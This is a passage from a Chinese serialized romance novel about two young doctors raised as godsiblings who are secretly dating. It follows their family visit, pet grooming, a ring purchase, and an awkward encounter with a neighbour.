在江问舟看来,能通过饮食调理好的问题,通通不算问题。 他理由充分,孙茂芸听*完笑呵呵地点头应了声也是,就不说什么了,转头看年年和金金抢着玩同一块冰块,另一块被它们冷落在一旁,正缓慢地化成水,向周围缓缓流淌。 大人觉得无所谓,还笑话它们:“小孩就是这样,什么东西都要有人争着抢着,才觉得是好的。” 江问舟靠在沙发背上,一边剥龙眼,一边笑着接她的话茬:“跟小孩一样。” 都说孙茂芸退休以后只盯着些家长里短的事了,江问舟这句话像触发了什么关键词似的,她立刻便扭头过来。 跟江问舟兴致勃勃地说:“下个星期我和你爸要去喝百日酒呢,村头杨七叔家孙媳妇生了他们家第四代的头一个孩子,家里要大办,说要摆流水席,叫我和你爸也去,我说我们不是村里的,也可以去吗?他说住在村里就是自己人了嘛,这种喜事谁都可以去,去沾沾喜气,就摆在村头的那个小广场。” 流水席听起来很有意思,是在城里居住时很难有的体验,江问舟失笑,问道:“孙儿还是孙女?” “男丁呢,七叔可高兴了,说什么这下有交代了。”孙茂芸说着给他一个“你懂的”的眼神。 江问舟哦了声,忽然话题一拐:“你呢?你以后是想要孙儿还是孙女?” 孙茂芸一愣,几乎是和江眀琮同时的,歘一下扭头看向他,神色既惊讶,又犹疑不定。 半晌才犹犹豫豫地问:“怎么突然这么问?舟舟你、你是不是……啊?要给我和你爸一个……惊喜?” 说完这句话,神色又突然变得期待起来。 江问舟看了好一阵哭笑不得:“你真觉得我突然带个孩子回来是惊喜,而不是惊吓?” 接着扭头去看江眀琮,问他:“爸也这么想?” 江眀琮回过神,抖抖手里的报纸,有些意味深长地看他一眼:“那就要看是谁的孩子了。” 哇,这么明显的试探啊,江问舟忍俊不禁,反问道:“当然是我的,不然您还想是谁的?我可没有一个像您和齐叔叔那样可以托付后背的战友。” 江眀琮一噎,白他一眼,哼了声。 孙茂芸不明所以,只嫌弃他们打哑谜,“哎呀,你们不要当谜语人,舟舟,你说,怎么突然问这个问题啊,是不是……有情况?” “没有。”江问舟迅速摇头,解释说,“只是提前问问,虽然现在没有,说不定明天就有了呢?人和人之间的缘分,都是说不准的事,对吧?” “那倒也是。”孙茂芸点点头,然后皱着眉仔细思考起来。 江问舟随口一问:“喜欢大孙子?” “不不不。”孙茂芸一听他这话,倒是立刻摇头了,“根据我养你和西西的经验来看,还是女孩子好,你看你妹妹多贴心,会说干妈辛苦啦最爱干妈了,天气变了回发信息关心我和你爸的身体,情绪价值给够够的,再看你呢,哎哟,我都不想说。” 说到这里还嫌弃地闭了闭眼。 江问舟失笑:“那就……要一个跟西西一样的小姑娘?” 话音刚落,江眀琮的视线立刻又从报纸后面探出来,若有所思地打量着他。 江问舟若无其事,继续淡定地吃龙眼,还给凑过来的年年和金金一人剥了一个,说只有一个,省着点吃啊。 孙茂芸则是觉得他的提议很棒:“那确实好,可是哪有那么容易,看你命好不好了。” “我命当然好的,很好的。”江问舟笑着应道。 等觉得龙眼吃够了,便将果壳都扫进垃圾桶里,拿湿巾擦擦手,然后往沙发上一躺。 金金从旁边路过,被他一把捞起来,抱在身上揉揉脸,没一会儿就打起呼噜来,在他身上不停地踩奶。 江问舟抱着它,感受着它一起一伏的呼吸,渐渐睡意上涌,竟然在沙发上睡了过去。 江眀琮看他一下,又看看时间,想把他推醒吃了饭回房去睡,却被妻子及时摆手阻止。 “叫他干什么?他又不饿。”孙茂芸叹口气,低声道,“还不知道昨晚忙成什么样子呢,搞不好都没合过眼,下班了立刻就开车回来,不然也不至于在沙发这儿就睡着了。” 江眀琮听了便沉默,仔细打量着儿子的睡相,一时也有些不知道该如何是好。 他都不敢细想自己察觉到的那些蛛丝马迹。 怎么可能呢?这两个孩子…… 可是好像又不是没有可能,男人都是视觉动物,喜欢年轻的漂亮的,容易被荷尔蒙主宰头脑,似乎大家都是年轻时这样过来的。 他叹口气,觉得这事真是难搞。 江问舟觉得自己只是眯了一会儿,可睁眼却已经是下午三点半,客厅里静悄悄的,金金蜷在他身边,年年在楼梯口的位置板鸭趴地睡着。 父母倒是不知哪儿去了。 他从沙发上坐起来,伸了个懒腰,见金金也醒了,就问它:“爷爷奶奶去哪儿了?” 金金四脚朝天地躺着,闻声歪了歪头,一脸听不懂他在说什么的呆萌。 还是看了信息才知道他们俩去邻居家打麻将了,说饭菜和汤都在锅里,让他醒了自己吃。 看完信息,江问舟一面给孙茂芸回信息,问她晚上吃什么,有没有什么需要他提前做准备的,一面趿上拖鞋往饭厅走。 在蒸锅里将一碗午餐肉蛋炒饭和一盘子菜端出来,再从汤锅里舀了碗排骨汤,坐下一边吃饭一边给齐眉发信息,问她在做什么。 过了好半天,他饭都吃完了,才等来齐眉的回复:【刚去看了一个腹痛的旅客,你怎么现在才吃饭啊,下午茶?】 还发了个挠头的表情包过来。 江问舟失笑,说自己睡过头了,现在吃饱了,决定继续睡。 齐眉这回倒是很快就回了信息,是一个抱着小猪跑路的□□人,还说什么:【得把你藏好才行,不然被人抓走吃掉了怎么办[难过]】 江问舟忍俊不禁,又觉得不困了,和她聊了一会儿,问她喝不喝咖啡。 医务点门外的自动贩售机里止痛药和创口贴碰巧卖空,陈羽丹去补货,回来刚坐下,就听齐眉说出去一趟。 没一会儿,提着斜对面那家咖啡店的袋子回来。 “眉姐你点咖啡啦?怎么不叫我。”陈羽丹边说边掏出手机,“让我也来点一杯,看看今天有没有什么便宜……” 她话没说完,齐眉就赶紧道:“点了点了,有你的,喏,你喜欢的生椰拿铁。” 至于她自己,这种天气还是更愿意喝冰美式。 陈羽丹眉开眼笑地道谢,说一会儿把钱发红包给她,齐眉听了就摇摇头。 “家里人点的,不是我,所以不用给我钱哦。” 陈羽丹听了先是一愣,随后眼睛一转,笑嘻嘻地凑近齐眉,压低声音问:“姐夫点的啊?” 这个称呼真是让人听了怪不自在的,齐眉有些不好意思地在椅子上动了动,含糊地嗯了声。 陈羽丹笑嘻嘻冲她挤眉弄眼:“好像以前还念书的时候好姐妹拍拖了男生请姐妹团喝奶茶哦。” 只不过现在是喝咖啡,啊,真是大人了呢! 齐眉闻言嘴角一抽,觉得有些囧,又忍不住觉得好笑。 江问舟说要接齐眉下班,第二天一早就开车回了家,然后再家门口搭地铁前往机场,到的时候正好上午九点。 齐眉已经交了班,还在一边喝水一边跟接班的刘医生闲聊,扭头看见江问舟的身影出现在门口,立刻跟刘医生道别出来。 在通往出租车上客点的路口,碰巧和要去地铁站的陈羽丹碰上,她笑嘻嘻地叫了声齐眉,然后大声同江问舟打招呼:“姐夫早上好!” 齐眉:“……”低声些! 江问舟倒是忍俊不禁,笑着应了声:“早上好,麻烦你多照应西西了。” 陈羽丹先是有些疑惑,旋即反应过来,西西是齐眉的小名,她有时候跟家里人视频,她干妈也是这么称呼她的。 “……不麻烦。”陈羽丹回过神,笑嘻嘻地应道,“是我要谢谢眉姐照顾才对。” 江问舟笑笑,没再说什么,倒是齐眉问了句要不要顺路捎她一程,陈羽丹婉拒后,双方便朝不同方向走去。 脚步声在停车场里哒哒回响,周围没什么人,江问舟便伸手拉住了齐眉的手腕。 齐眉晃了晃手,忽然问他:“这是不是第一次有人叫你姐夫?” 江问舟本来都觉得没事了,被她这么一问,又忍不住笑起来,细细的纹路在眼角堆积起来。 “没办法,谁让以前你才是最小的呢?” 家里也没什么哥哥姐姐,工作了呢,她是小学妹,等到她成了学姐,认识他们的学弟学妹也不会叫他姐夫,而是叫学长。 齐眉嘿嘿一笑,问他:“那……我们下午要去店里玩吗?” “……嗯?”江问舟一愣,“话题怎么换这么快?” 齐眉眨眨眼,踮脚去摸了一下他的耳朵,笑道:“其实是问你,想不想听人叫你妹夫啊?” 清葭姐是表嫂,可以这么叫他的! 江问舟:“……”好怪,但确实有点想听。 第56章 第五十六章(二合一)怕想要的东西得…… 江问舟和齐眉回到村里已经是中午,中途还回了趟她住处拿蛋白粉。 出门时江问舟和她对口供:“我跟爸妈说是来接你,顺便买的蛋白粉,不是在家里拿的哈,你可别说漏嘴了。” 齐眉:“……” 她蹭蹭鼻尖,问道:“你是故意的?” 江问舟嗯哼一声,没说是,也没说不是。 齐眉挽住他手肘,用脸蹭蹭他的胳膊,也是什么都没说。 但彼此已经在这一来一回的小动作间交换完了各自的想法。 车子停在门口,江问舟给孙茂芸打电话,让她来帮忙开一下门。 金金和年年一天没见齐眉,表现得十分热情,尤其是年年,尾巴都摇成螺旋桨了,不停想往她身上扑。 齐眉一面同孙茂芸说着话,一面弯腰将金金抱起来,往屋里走时还被年年挤得根本走不成直线。 路过小池塘,看见屋檐下撑着一把大阳伞,伞下放着躺椅,就问:“这是干爸钓鱼的装备吗?” “是啊,早晚这里还挺凉快的,他爱坐这儿钓两杆。”孙茂芸说着凑过来,和她嘲笑江眀琮,“其实根本钓不上来鱼,人家都不搭理他。” 齐眉哈哈笑出声来,跟在她后面进了屋。 金金从她怀里跳下地,她一面换鞋,一面同江眀琮打招呼,听他笑眯眯地说她:“脸都晒红了,怎么不撑把伞?” “就那几步路,一下就到了,懒得撑嘛。”齐眉笑嘻嘻地应道,问家里有没有什么水果吃。 江眀琮就说:“冰箱里有你、你妈妈早上榨的西瓜汁,拿出来晾一下再喝,不要直接喝这么凉的。” 说完他忍不住嘴唇一翕,发出一声很轻的啧声。 心里那颗怀疑的种子一旦开始发芽,就会觉得哪儿哪儿都不对劲了。 齐眉没发觉哪里不对劲,应了声好就往餐厅走,等她拿着几个杯子和一壶冰镇西瓜汁回到客厅,江问舟也已经回来了。 正在跟两小只玩球,随便往远的地方一扔,就见两只飞奔出去,没一会儿就在远处打起架来,好像是金金要踢球,而年年想把球叼起来。 江问舟冲它们喊回来,齐眉边看边笑,顺便将倒好的果汁递过去。 没有直接放他手上,而是将杯口边缘往他嘴唇上贴了贴,看他被冰了一下回过神,就嘻嘻笑一声。 江问舟忍不住横她一眼,想伸手捏捏她胳膊,又顾忌父母就在跟前,只好按兵不动。 但是江眀琮还是感觉到了他们之间有些不同寻常的气氛。 那种隐隐约约不自觉流露出来的亲昵,不像是普通兄妹之间会有的。 他更加觉得头疼了,完啦,这俩居然不是其中一个剃头挑子一头热? 这谈话对象从一个变成两个,江(前)局长觉得很烦,烦死了,最讨厌给人做思想工作。 但是家里其他三个人都听不见他心里的骂骂咧咧,江问舟正跟孙茂芸说:“一会儿下午我和西西去店里玩,你去不去?” 孙茂芸说不去,同时希望他们能把金金和年年留在家,尤其是年年。 “这种大狗就不该天天关在小楼房里,你看家里的大院子多好,多适合它奔跑呀。” 齐眉哭笑不得:“可是您是不是忘了,年年要陪我去店里的。” 孙茂芸眨眨眼,嗨呀,还别说,真忘了。 但她选择把锅甩给江问舟,“你哥去接了你几次以后,我还以为他已经抢走年年的饭碗了呢。” 江问舟:“……” 他装模做样地往外看了一眼,自言自语似的嘟囔:“外面也没下雪啊,怎么我感觉这么冷呢?” 看着他话音刚落就被孙茂芸狠狠拍了一下他的脑袋,齐眉忍不住幸灾乐祸地笑起来,肩膀抖动的样子像乱颤的花枝。 倒是金金跑了过来,关切地看着他,还后腿直立地站起来,朝孙茂芸伸了伸爪子,又缩回去,一副虽然有点怂但也想阻止一下奶奶打它爹的样子。 孙茂芸哎哟一声,冲它解释:“我没有打他,真的没有,就是摸摸头。” 说完下一句就变成逗猫的话了:“就像摸摸金金头一样。” 江问舟伸手把它抱起来,把脸埋进它肚皮里,笑着逗它:“这猫托车怎么一直响啊?” 齐眉见他们玩得开心,也想要加入,便扒着江问舟的胳膊跟他抢猫:“你不会修,拿来让我帮你看看。” 江问舟不愿意让她立刻得逞,跟她拉扯起来,俩人之间隔着猫你来我往,肢体接触甚至是碰撞在这时不可避免。 甚至俩人一起往沙发上歪倒,齐眉半边身子都压在了江问舟身上,江眀琮看得眉头直跳。 “好了好了,不要抢,该吓到金金了。”孙茂芸这时连忙制止道,“小心点别真打伤哪里了。” 她把猫抱走,絮叨着数落两个孩子:“都多大了还这么闹,要是摔下来伤到哪里,有你们罪受的。” 当母亲的有时候总觉得孩子还没长大,就像孙茂芸现在一点都不觉得齐眉和江问舟这样是过分亲密,只觉得他们还像小时候那样打打闹闹也挺好。 江眀琮看了直挠头,又觉得有些事有些话如鲠在喉。 齐眉这时终于反应过来,迅速拉开和江问舟的距离,努力装得跟个没事人似的,将抱枕抱在膝盖上,继续喝刚才没喝完的西瓜汁。 过了这一会儿,西瓜汁已经没那么凉了,但也没那么好喝了,齐眉三两口喝完,抱枕往旁边一放,起身去厨房给孙茂芸帮忙。 她走之后,江眀琮看一眼江问舟,见他正在看平板,年年和金金把脑袋凑到他面前,好像在一起仔细研究什么似的。 江问舟还问:“这个行不行,小恐龙喜不喜欢?年年要不要,金金呢?买一个你们俩一起玩行不行?” 看他带小孩带得那么专心,江眀琮一时半会儿也不知道要怎么开口。 江问舟倒也不是完全没有察觉他的欲言又止,但还是那句话,敌不动我不动,他不说,江问舟就当不知道。 午饭吃得丰盛,鱼虾蟹都有,这季节的螃蟹是六月蟹,个头不大,但很适合做香辣蟹,齐眉吃了几块就因为还要吃药,被大家劝住了。 汤是冬瓜排骨汤,齐眉一边小口吃着冬瓜,一边听大人说着最近的天气如何如何闷热,孙茂芸还说感觉像是胸口被堵住一样不舒服。 听完她想了想,说:“要不我们改天看哪个周末有空,去度假村住两天?找个绿化好点的,最好还能近水,应该能凉快。” 孙茂芸立刻说不要,说村里就很凉快了,家里院子就有水塘,哪里用舍近求远。 可语气听起来又没那么坚决,江问舟就说:“笔架山那边应该可以,露营基地好像就是度假村的,改天我问问那边有没有小别墅,租几天住住,让年年和金金也去接触一下大自然。” “……村里就很自然,它们想的话可以去地里打滚。”孙茂芸还是有些犹豫。 齐眉就笑嘻嘻道:“一切都是为了孩子。” 这话真是耳熟,别说外头的广告什么的了,就是在家里,孙茂芸也说过不知道多少次。 只不过以前孩子是指她和江问舟,现在变成了年年和金金。 大家被她说得笑起来,很快又换到下一个话题。 说笑着吃完饭,在客厅坐了一会儿,齐眉觉得困了,便说要上楼睡一会儿。 她刚上楼梯,江问舟就也跟着起身往楼梯走了,江眀琮看着他的背影,脸上再次出现欲言又止的神色。 不知道是江问舟走得太快,还是齐眉走得太慢,总之是刚进二楼,齐眉就被追上了。 江问舟扯了一下她后背的衣服,她回头瞪他一眼:“你干嘛?” “给我留个门?”江问舟笑着低声道。 齐眉不想,这太危险了,现在天天都能在一起了,也不差这一时半会儿的吧? 于是她摇摇头:“不要,你自己睡。” 江问舟其实也不是非得钻她被窝不可,但是看她拒绝,又起了逗她的兴致,就非要去她房间了。 他跟着齐眉,一直走到她门口,刚要跟她拉扯,就听到身后传来孙茂芸的声音:“舟舟。” 俩人不约而同地吓了一跳,尤其是齐眉,整个人都僵硬住了,一时不知道该怎么反应。 只有眼睛还能转一下,用焦急的眼神看向江问舟。 江问舟很快就反应过来,做出一副猛然回过神的表情,回头问孙茂芸:“……妈?怎么了?” “我还想问你呢,你们俩在门口这是干什么?”孙茂芸疑惑地问道。 她的目光扫过来,齐眉更加紧张了。 毫不夸张地说,她现在已经紧张到脚趾扣地,小腿都有些抽搐,整个人紧绷到不行。 “……西西怎么了?”孙茂芸发现了她的不对劲,更加觉得纳闷,“你们俩到底在搞什么鬼啊?” 江问舟露出尴尬的表情,挠挠脸,语气无奈地回答道:“我们在说……在密谋一些事,结果你突然出现,呃、诶……” 他地神色又变得有些惊讶,看一眼齐眉的房门,再看一眼另一个方向,失笑:“我怎么还跟着走错门了。” 这演得实在是太好了,逼真到齐眉还没从惊吓中回过神,又因为过于震惊而无言以对。 我靠!你去电影学院进修过了是吧?还当什么医生啊,既辛苦又赚得不多,不如去当演员,这演技,用不了几年就最佳男主角了啊! 孙茂芸被他这做派糊弄到信以为真,笑着嗔了句:“都这么大人了,怎么还冒冒失失的。” 接着说:“你快帮我看一下手机,我那个微信拍照不知道怎么回事,拍完以后什么都没有,黑乎乎的。” 江问舟哦了声,接过她的手机就说:“重启看看。” “……这能行?”孙茂芸很惊讶,忐忑问道,“会不会是我的手机坏啦?” 江问舟略微沉吟片刻,反问她:“你想你的手机坏吗?” 孙茂芸眨眨眼:“暂时……还不需要坏吧?” “那它现在好了。”江问舟试着用了一下微信的拍照功能,然后把手机还给她。 齐眉缓过神来,听到他们的对话有些忍俊不禁。 江问舟说完话扭头一看,见她脸上有了笑意,这才松口气道:“没事了吧?那我回去午睡了。” 接着冲齐眉眨眨眼:“西西别睡太死,别忘了我们下午还要出门。” 齐眉一顿,这是……戏里还是戏外?结束没有啊? “你们下午要去哪儿啊?”孙茂芸连忙问道。 “去做坏事,您别管。”江问舟笑嘻嘻道,推着她让她快回去休息。 “那晚上不在家吃饭啊?”孙茂芸接着问。 江问舟应了声是,“下次休息再回来。” 等孙茂芸下楼了,他便直接朝自己房间走去,徒留齐眉在门口怔愣,半晌才回过神来,确定这场戏已经结束。 然后挠挠脸,嘀咕一句,果然最难分辨就是九真一假的话,别说干妈了,她都分不清刚才的事是真是假了。 孙茂芸回到自己房里,跟江眀琮笑着吐槽说:“这两个小家伙也不知道在商量什么,真的是……谁要做坏事会挂在嘴边生怕别人不知道的?” 江眀琮闻言顿时沉默,心说万一是真的呢? 谎言里掺杂着真话,才会让听的人更放松警惕。 接着又听到妻子笑话江问舟聊着天竟然走错路,差点去了齐眉房间。 江眀琮:“……” 不行了,思想工作迫在眉睫!!! 齐眉回到房间,洗了把脸后上床休息,睡得迷迷糊糊间,感觉好像听到了开门的动静,忍不住睁了一下眼。 还没等她来得及看清是不是有人进来,被子就被掀开了,紧接着一具温热的躯体便挨了过来。 她被裹入一个温暖的怀抱,下意识地推了推,天热,她不太喜欢这样贴着睡了。 可江问舟怎么可能松手,拍拍她的腰,威胁道:“不睡是吧,不睡我干坏事了啊?” 齐眉半梦半醒之间有种躲避危险的本能,他话刚说完,她就立刻一动不动了。 江问舟失笑,轻拍着她的背,面颊贴上她额头,和她就这么手脚交缠着睡了。 ————— 江问舟和齐眉是下午两点四十左右出的门,那时父母午休都还没起,一楼的客厅里静悄悄的。 将年年和金金赶上车,齐眉忽然叹口气,幽幽地说了句:“你觉得……我们像不像偷狗的?” 江问舟:“???” 他噎了一下,沉默地扣好安全带,这才抬手一个爆栗敲在齐眉头顶上。 “胡说八道,你才偷狗,我可是光明正大把狗带走去洗澡的。” 年年这种体型相对大一点,毛发又厚的狗,自己在家是真的很难洗,所以除了冬天很冷那两个月,齐眉每个月都要把它送去宠物店洗一次澡。 “金金也要洗吗?”齐眉捂着脑袋问道。 江问舟给孙茂芸发完信息,放下手机,一边启动车子一边应道:“去都去了,就一起洗了,它上一次洗澡还是从申城回来那会儿。” 还得是落地之后过了快半个月,确定它已经适应环境,才带着去洗的。 听他提到从申城回来的事,齐眉不由得沉默,直到听他继续说起金金那次洗澡:“也不是害怕,就是有点紧张,美容师让我站在洗浴间门口,让它能看到我,那样就好多了。” 齐眉回过神来,问道:“从申城回来的时候……它害怕吗?” “它什么都不懂,有什么怕的。”江问舟笑笑,调侃道,“你不如问我怕不怕。” 齐眉咬了咬嘴唇,干脆顺着他的话问:“那你怕吗?” “怕,也不怕。”江问舟还是笑,握着方向盘的手指张开又合拢,轻轻拍击两下方向盘,“不怕是因为工作已经联系好了,而且回容城是回家,能有什么好怕的,甚至连后顾之忧都没有。” “那你怕什么?”齐眉靠在车门边,侧身看着他,仔细打量他温和的眉眼。 舒展又平静,带着淡淡的笑意,有种安宁又惬意的气息。 江问舟听到她的问题,扭头看了她一眼,笑着慢悠悠道:“怕想要的东西得不到,想见的人不愿意见我,不过,这都过去了。” 齐眉抿着唇弯起嘴角,想说什么,却因一时半会儿想不到合适的词汇语句而只好作罢。 她转头看向车窗外经过的果树林,只觉得一片绿意怡人。 将金金和年年送到平时寄养年年的那家宠物店,看了一会儿金金,觉得它没什么问题,俩人这才讨论接下来要去做什么。 江问舟捏着她的手指,商量道:“去买生日礼物?” 那就去吧,齐眉爽快点头,兴致勃勃地问他:“我在网上看到有两款很可爱的,一款是猫爪造型的,另一个是狐狸的,那个耳朵好可爱,你说咱们买哪个好?” “都是成年人了,为什么要二选一,不能都要么?” 江问舟一面反问她的问题,一面伸手推开门让她先出去。 “这不是为了你的钱包着想么。”齐眉笑嘻嘻地应道,状似无意地问他,“你零花钱够不够花呀?” 江问舟闻言立刻啧啧两声。 你要是以为她真的是在关心你零用钱够不够,那可就大错特错了。 “放心,这点东西我还是能给你买得起的。” “哦哟,偷偷藏了私房钱是不是?”齐眉立刻掐他胳膊。 江问舟笑着搂过她,一面是啊是啊地应着,说一会儿就给她看存款余额,一面拉开车门把她推进车里。 金店离宠物店很近,就在齐眉经常去的那家超市附近,开车也就十来分钟的功夫。 走近了还能看到门外“激情盛夏,优惠酬宾”的宣传红幅,透过橱窗,能看到展示柜里佩戴在人台上的黄金首饰,熠熠生辉,隆重非常。 齐眉凑上前仔细看了一会儿,这才被江问舟拉着进店里,刚靠近柜台便有导购迎过来问有没有什么想要看看的。 “我想看看……”齐眉呃了一下,索性拿出图片给对方看,“有没有这两款戒指?” 导购看了一眼就肯定地点点头,问她:“要拿给您试试吗?” “麻烦你。”齐眉笑着道。 她说要戴在食指,对方帮她量过食指的戒圈,很快就取来了两枚合适的戒指。 齐眉试戴戒指的时候,江问舟就侧身靠在一旁的柜台边,笑吟吟地看着她,目光落在她葱白的指尖上,想起上次在珠宝工作室时他们在孙茂芸的撺掇下试戴对戒的情景。 那个画面其实很和谐很好看的,好看到后来还在他的梦里出现过,却在醒后让他心生怅然。 他曾经以为那是人生触不可及的梦想,可生活的峰回路转,却又让这个梦想有了实现的可能。 大概因为操纵这一切的上帝是齐眉吧,人总会在某些时候幸运地遇到心软的神。 “都好看,都买了吧。”他笑着对正看着自己的手犹豫不决的人道。 两个戒指加起来也没多少克,与其纠结来去,还不如都买了。 “万一你回去之后觉得没买的那枚更好,怎么办?”他调侃道,“年轻人,不要给自己后悔的机会。” 导购见机行事,立刻大力推销,各种好话不要钱地往外倒,一会儿夸齐眉的手堪比手模,这两枚戒指她戴着格外好看,一会儿又说戒指可爱,特别衬齐眉气质,云云。 齐眉被灌了一耳朵好话,心里确实有些动摇,于是扭头看向江问舟。 她这表情什么意思,江问舟怎么可能看不懂,忍俊不禁道:“喜欢就买,快点,一会儿还要去给妈买手机。” “……诶?”齐眉一愣,连忙把戒指摘下来,让导购去开单,然后追问江问舟,“要给干妈换手机吗?不是说……还没坏?” 江问舟嘴角一抽:“新的买回去,旧的自然就会坏了。” 齐眉:“……” 导购开好单,还把江问舟也夸了一通,主要是夸他大方,奉承他们感情好,祝他们情比金坚一世恩爱,情绪价值简直拉满。 等出了店门,齐眉才松口气,摇头失笑:“看来这口饭我是吃不上了,对口才要求太高了。” “说不定接待我们的是位销冠。”江问舟失笑,“行行出状元,任何一个行当能做到‘冠’的,都是人物。” 齐眉晃晃他们握在一起的手,笑嘻嘻道:“我们家只要有一个这样的人物就够啦。” “还是你看得起我。”江问舟失笑。 买好手机后俩人不再在外多逗留,直接返回宠物店,正好是年年在吹毛,金金都已经洗好了,正被店里的小姐姐抱在怀里一起看电视剧。 看见他们回来,它立刻从别人怀里跳下来,一边冲他们跑过去,一边咪呜咪呜叫唤。 齐眉弯腰将它抱起,笑吟吟地亲一下它的头顶,哄道:“我们没有走,就是出去给奶奶买了礼物,到时候你和妹妹一起送给奶奶,好不好呀?” 金金不吭声,只一味用舌头去舔她下巴。 江问舟则是去看年年,半晌扭头对齐眉道:“我怎么看着它像……实心的?是不是得控制一下饮食了?中大型犬体重太大,对关节也不好吧?” “……已经有在控制它饮食啦。”齐眉无奈道。 但是年年吹干毛后,雪白的毛发蓬松柔软,不管是看上去还是摸起来,都好像一个棉花糖,江问舟忍不住抱着它的头揉了又揉。 这时一看时间,都已经是下午四点多快五点,本来说好要去店里让江问舟听听任清葭叫他妹夫,结果走到半路就收*到她的信息,说家里有点急事,她先收工了,齐眉一看原本的计划已经被打破了,索性对江问舟说他们也回家。 江问舟一面放慢车速,一面问她:“今晚不去店里了?” “明天再去吧。”齐眉摇摇头,“明天早点过去,和田乐他们试一下新的酒单。” 江问舟应了声好,一面调转车头,一面提醒她:“少喝点,你还吃药呢。” “我就每种尝一口。”齐眉跟他保证。 就这样取消原计划回了家,发现除了准备准备晚饭,也没什么别的事可做,而且就这一件事,还被江问舟包揽了,说他来做个炒饭,再煮个汤,简单吃点好了。 齐眉也觉得天热没胃口,便答应了,随后往沙发上一躺,接二连三地打起呵欠来。 她不知不觉地睡着了,江问舟出来看见,便顺手拿了条搭在大书桌后面的椅子上的小毛毯,帮她盖住肚子,接着回厨房继续忙碌。 年年见状立刻跟上去,蹲在他身边等着好吃的。 等齐眉小睡够了醒来,已经是太阳下山时间,透过窗户可见阳光已经冷却,有了日暮的味道。 “醒了?”江问舟听见她坐起来的动静,扭头问道。 齐眉嗯了声,抻直脖子去看他在做什么。 只看见他两边身旁各有一大一小两个饭盆,金金和年年都在埋头苦吃,齐眉有些好奇:“它们吃的什么?” “虾,水煮罗氏虾,胡萝卜青菜瘦肉饼。”江问舟回答道。 家里之前有这些吗?齐眉眨眨眼:“你刚做的?” 江问舟应了声是,“闲着也是闲着,做点事解解压,打发打发时间,也给它们加加餐。” 齐眉啧了声:“吃这么好呀……” 她想吐槽他一边说它们不能太胖要控制饮食,又一边给做这么多好吃的不胖才怪,可话还没说完,就听江问舟道:“你的也很好,起来了就去洗手吃饭。” 蛋炒饭里除了鸡蛋和五颜六色的蔬菜粒,还有午餐肉,米粒颗颗分明,越咀嚼越能尝到香味,汤是番茄虾滑汤,香浓的番茄汤喝起来十分开胃,但就是…… “我怎么只有五只虾?!”齐眉震惊,不会是都让那两只吃了,她这是剩的边角料吧? 这对吗!!! 江问舟背对着她,推了推金金的饭盆,催它别磨叽赶紧吃,接着应道:“总共就剩十五只虾,你们三个一人五个,不是很公平吗?” 齐眉眨眨眼,没说出口的话咽了回去:“……这还差不多。” 她先开始吃饭,江问舟等两小只吃完,把它们的碗洗了,才过来坐下。 刚拿起筷子就觉得有点不对劲:“五只虾,你怎么就这么点虾壳?三个虾尾,还有两个呢?” 齐眉:“???” 大哥,你是吃饭还是破案啊,观察这么仔细有必要?真不愧是警察的儿子哈:) 她翻了个白眼:“我把虾壳也吃了不行吗?吃虾壳补钙,你管我呢。” “哦对,说到补钙,你最近钙片到底有没有好好吃?怎么一瓶钙片两个月还没吃到一半?” 齐眉一噎,低头不说话,开始选择性耳聋。 江问舟拿她没办法,哭笑不得地摇摇头,拿起筷子开始吃饭。 结果才吃没两口,就在自己的饭里发现了两个埋在饭里的大虾,顿时忍不住笑出声来。 他想起来以前她会在他的饭里埋卤鸡腿,埋荷包蛋,埋红烧鸡翅,等等。 “……这是哪只小猫埋的宝贝?” 齐眉抬头挺胸,一脸骄傲:“你说呢?只有我才会这样,你俩闺女不会给你留任何哈!” 江问舟忍俊不禁,笑得饭都吃不下去了,好家伙,这也能争一争。 他连忙道谢,表示确实是她对自己最好,括弧,除了爸妈之外。 吃完饭,齐眉在屋子里溜达,其实该去遛狗了的,但她不想出门,容城夏季潮湿闷热,没太阳也不见得能舒服多少。 于是江问舟决定自己下楼,开门的时候还问她:“你有没有什么快递要拿?取件码发给我,我顺便带上来。” 话音刚落,就见金金从他脚边跑过去,溜到了门口,他赶紧要把它往回叫,结果还没开口呢,就先听到门外传来一声惊讶的:“江医生?” 江问舟一愣,抬眼循声望去,看见自己同单位的同事正站在对面的门口。 他脑子顿时短路,没想起来齐眉早就跟他说过对门住着他同事,毕竟他住过来也有一阵了,一次都没和对方碰到过面,当下脱口便是:“……徐医生也住这边么?这么巧。” 徐医生应了声是,神情疑惑极了,同时又带着点试探的问:“江医生是这两天搬过来的?那原来住这儿的齐小姐……” 齐眉在屋里听见门口的动静,赶紧出来抓猫,同时笑眯眯地跟邻居打招呼:“徐医生晚上好。” “啊……”徐医生有些惊讶,目光在他们俩之间来回转悠了几回合,“二位这是?” 我的邻居和我的同事处对象啦?怎么认识的?好奇,八卦,想吃。 “这是我哥。” “我女朋友。” 俩人异口同声地应道,回答完以后又不约而同地看向对方,哦豁,劈叉了。 徐医生显然对这个答案非常错愕,齐眉顿时一阵尴尬,连忙解释道:“他妈妈真是我妈。” 这话不说还好,说了就见江问舟的脸色立刻往下一拉,齐眉一看就心里暗暗道苦,坏啦! 徐医生见气氛有点不对,立刻告辞,打开自家的门便溜之大吉。 江问舟弯腰给年年套上牵引绳,伸手用食指戳戳齐眉的额头,咬牙切齿:“你先别睡,等我回来收拾你。” 齐眉:“……” 第57章 第五十七章(二合一)忘了告诉你,爸…… 江问舟遛完狗回来,已经是一个多小时后,时间刚过晚上九点。 齐眉刚洗漱结束出来,站在浴室门口侧身擦头发,一边吊带睡裙的肩带还往下滑,卡在胳膊上。 看见江问舟回来便问:“怎么遛这么久,走很远吗?” “没有,就在楼下到快递驿站这段路。”江问舟弯腰把年年的牵引绳解开,让它冲去喝水,“碰见它好朋狗了,就是那个叫橙子的陨石边牧。” 齐眉哦哦两声,“橙子啊,那确实是,它们玩很好的,橙子特别聪明,但是对年年又很好。” 年年有时候玩得忘形,会跑很远,橙子都会去把它带回来,偶尔也会有小狗凶年年,橙子也会去帮它。 “它真的超级聪明,但是它不太喜欢小猫,有时候会伺机开门让家里的猫跑出去,放生对方。”齐眉一边擦头发,一边饶有兴致地跟他说橙子的家长满小区找猫的趣事。 江问舟听了觉得很有意思,“幸好我们家小猫小狗能玩得来,不然就要鸡飞狗跳了。” 边说边往她那边走,要去卧室拿换洗的衣服。 “因为它们脾气都好啊。”齐眉随口应道,在他靠近时闻到一股淡淡的烟味,立刻鼻子抽了两下,“你抽烟啦?” 江问舟先是一愣,旋即反应过来,解释道:“橙子爸爸抽烟,可能衣服吸味道。” 齐眉松口气,又严肃地对他说:“你不准抽烟。” 